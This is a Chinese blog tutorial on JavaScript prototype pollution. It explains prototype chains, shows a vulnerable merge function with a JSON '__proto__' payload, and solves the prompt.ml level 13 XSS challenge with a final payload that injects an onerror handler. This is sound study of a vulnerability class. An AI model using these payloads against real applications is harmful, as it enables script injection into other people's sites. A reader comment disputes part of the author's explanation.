浅析javascript原型链污染攻击
0x0 前言
关于javascript原型链污染攻击的分析文章相对于其他技术文章来说还是偏少的,不知道是不是我打的比赛少还是什么原因,关于这方面的题目也是比较少的,所以该类题目可能出题要求比较高,质量相应比较好。恰巧最近用nodejs在写一个小东西,发现了原来很多依赖库会有各种安全问题,于是打算以原型链攻击为契机学习js下的安全漏洞。
0x1 原型与原型链
Javascript中一切皆是对象, 其中对象之间是存在共同和差异的,比如对象的最终原型是Object
的原型null
,函数对象有prototype
属性,但是实例对象没有。
-
原型的定义:
原型是Javascript中继承的基础,Javascript的继承就是基于原型的继承
(1)所有引用类型(函数,数组,对象)都拥有
__proto__
属性(隐式原型(2)所有函数拥有
prototype
属性(显式原型)(仅限函数) -
原型链的定义:
原型链是javascript的实现的形式,递归继承原型对象的原型,原型链的顶端是Object的原型。
-
原型对象:
在JavaScript中,声明一个函数A的同时,浏览器在内存中创建一个对象B,然后A函数默认有一个属性
prototype
指向了这个对象B,这个B就是函数A的原型对象,简称为函数的原型。这个对象B默认会有个属性constructor
指向了这个函数A。
-
实例对象:
我们可以通过构造函数A创建一个实例对象A,A默认会有一个属性
__proto__
指向了构造函数A的原型对象B。 -
关系
function Foo(){}; undefined let foo = new Foo(); undefined Foo.prototype == foo.__proto__ true
-
原型链机制
也许上面你还没有搞清楚原型和原型对象的关系,但是通过分析javascript的原型链机制可以帮助你加深理解。
回顾一下构造函数、原型和实例的关系:
每个构造函数都有一个原型对象,原型对象都包含一个指向构造函数的指针,而实例都包含一个指向原型对象的内部指针。那么假如我们让原型对象等于另一个类型的实例,结果会怎样?显然,此时的原型对象将包含一个指向另一个原型的指针,相应地,另一个原型中也包含着一个指向另一个构造函数的指针。假如另一个原型又是另一个类型的实例,那么上述关系依然成立。如此层层递进,就构成了实例与原型的链条。这就是所谓的原型链的基本概念。——摘自《javascript高级程序设计》
感觉理解起来有点绕,不过引用图片可以很好理解。
这里person实例对象,Person.prototype是原型,原型通过
__proto__
访问原型对象,实例对象继承的就是原型及其原型对象的属性。继承的查找过程:
调用对象属性时, 会查找属性,如果本身没有,则会去
__proto__
中查找,也就是构造函数的显式原型中查找,如果构造函数中也没有该属性,因为构造函数也是对象,也有__proto__
,那么会去__proto__
的显式原型中查找,一直到null(很好说明了原型才是继承的基础)关于这部分的实例,可以参考P神这个链接
https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html#0x02-javascript
0x2 原型链污染机制
javascript的这种动态继承跟我们常见的比如java之类的语言是不同的。
function Father() {
this.first_name = 'Donald'
this.last_name = 'Trump'
}
function Son() {
this.first_name = 'Melania'
}
Son.prototype = new Father()
let son = new Son()
console.log(`Name: ${son.first_name} ${son.last_name}`)
我们修改下代码:
我们可以惊讶的发现一个对象son修改自身的原型的属性的时候会影响到另外一个具有相同原型的对象son1,同理
当我们修改上层的原型的时候,底层的实例会发生动态继承从而产生一些修改。
我们真正修改的其实是原型prototype
为了对比,我们可以写一段java代码来分析下。
package Test;
class Father{
public String name;
}
class Son extends Father{
public Son(){
super.name = "father";
}
void alert() {
System.out.println("i am son");
}
}
public class Test {
public static void main(String args[]) {
Son s1 = new Son();
System.out.println(s1.name);
s1.name = "son";
System.out.println(s1.name);
Son s2 = new Son();
System.out.println(s2.name);
}
}
可以看到两者的继承方式机制可以说完全不一样的,一个是基于对象来继承, 一个是基于原型来继承, 不过的确省内存, emmmm。
0x3 利用手段
我们先了解下什么情况下容易发生原型链污染
存在可控的对象键值
1.常发生在merge
等对象递归合并操作
2.对象克隆
3.路径查找属性然后修改属性的时候
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)
o3 = {}
console.log(o3.b)
这样的话__proto__
才会被当作一个JSON格式的字符串被解析成键值,而不是上面之间被解析成了一个属性值。
0x4 例题分析
其实上面的理论很容易弄懂,但是要将知识用到实处的话,通过题目的磨练能够将所学知识巩固一遍。
关于P神那个lodash
的题目分析的比较透彻了,而且有实际意义。
https://hackerone.com/reports/310443 ,这是一些库存在的问题。
感觉有点类似反序列化吧,框架设计也得背锅。
关于一些库原型链污染的挖掘RCE的过程可以看看vk师傅的
所以这里我选了一道比较简洁的xss题目来加深知识的理解。
题目链接:http://prompt.ml/13
function escape(input) {
// extend method from Underscore library
// _.extend(destination, *sources)
function extend(obj) {
var source, prop;
for (var i = 1, length = arguments.length; i < length; i++) {
source = arguments[i];
for (prop in source) {
obj[prop] = source[prop];
}
}
return obj;
}
// a simple picture plugin
try {
// pass in something like {"source":"http://sandbox.prompt.ml/PROMPT.JPG"}
var data = JSON.parse(input);
var config = extend({
// default image source
source: 'http://placehold.it/350x150'
}, JSON.parse(input));
// forbit invalid image source
if (/[^\w:\/.]/.test(config.source)) {
delete config.source;
}
// purify the source by stripping off "
var source = config.source.replace(/"/g, '');
// insert the content using mustache-ish template
return '<img src="{{source}}">'.replace('{{source}}', source);
} catch (e) {
return 'Invalid image data.';
}
}
我们分析下题目:
function extend(obj) {
var source, prop;
for (var i = 1, length = arguments.length; i < length; i++) {
source = arguments[i];
for (prop in source) {
obj[prop] = source[prop];
}
}
return obj;//返回修改后的对象
}
这个函数extends
可以接收多个参数,然后赋值给了source
变量,接着就对obj
对象的键值进行了赋值操作,这个函数是可以导致原型污染链攻击的,但是具体怎么攻击我们还不知道, 继续分析下去。
var data = JSON.parse(input); //这里获取输入并且进行json解析
var config = extend({
// default image source
source: 'http://placehold.it/350x150'
}, JSON.parse(input)); //这里传入了漏洞函数,正常操作就是替换默认的image Source
// forbit invalid image source
if (/[^\w:\/.]/.test(config.source)) { //这里只能允许字母数字\ .字符,否则delete掉
delete config.source;
}
// purify the source by stripping off "
var source = config.source.replace(/"/g, '');//这里为了防止逃逸过滤了"
// insert the content using mustache-ish template
return '<img src="{{source}}">'.replace('{{source}}', source);//这里拼接了source,这里是xss的点
其实分析到这里我还是一脸懵b的不知道该怎么利用。
不过我感觉到很有意思的一点是delete
,这样删掉了默认值,这样污染原型链覆盖的话,var source = config.source.replace(/"/g, '');
就会去我们覆盖的原型去寻找source
,我们可以试试
可以看到的确可以这样子玩的,不过这里还有个"
的过滤,
{"source":"%","__proto__": {"source": "123'"}}
这样我们就能逃逸出第一个正则了,但是绕过"
,我们可以考虑下replace
一些性质
'<img src="{{source}}">'.replace('{{source}}', source);
我们看下文档:
字符串 stringObject 的 replace() 方法执行的是查找并替换的操作。它将在 stringObject 中查找与 regexp 相匹配的子字符串,然后用 replacement 来替换这些子串。如果 regexp 具有全局标志 g,那么 replace() 方法将替换所有匹配的子串。否则,它只替换第一个匹配子串。
replacement 可以是字符串,也可以是函数。如果它是字符串,那么每个匹配都将由字符串替换。但是 replacement 中的
$
字符具有特定的含义。如下表所示,它说明从模式匹配得到的字符串将用于替换。
我们可以利用第二个参数做点事情:
'123'.replace("2",'$`');
"113"
'123'.replace("2","$'");
"133"
真的特别骚气的利用RegExp对象的"
来闭合自己,(骚到我了)
最终payload:
{"source":"%","__proto__": {"source": "$` onerror=prompt(1)><!--"}}
解析结果:
<img src="<img src=" onerror=prompt(1)><!--">
0x5 总结
非常有意思的特性, 应该还能衍生更多的攻击点, 这些估计是大佬们在研究的东西了, 像我这样的小菜只能玩玩大佬们玩剩的东西了, tcl。
0x6 参考链接
Prototype pollution attack (lodash)
作者在说利用手段,"proto" : {b:2}无法直接利用,得使用json parse时讲错了吧。是因为已经指定proto是字符串,所以才没有解析.如果这样写就是可以的

a = { a : 1, proto : { b : 2 } }
个人觉得很好,看完有收获,引用部分内容转载了。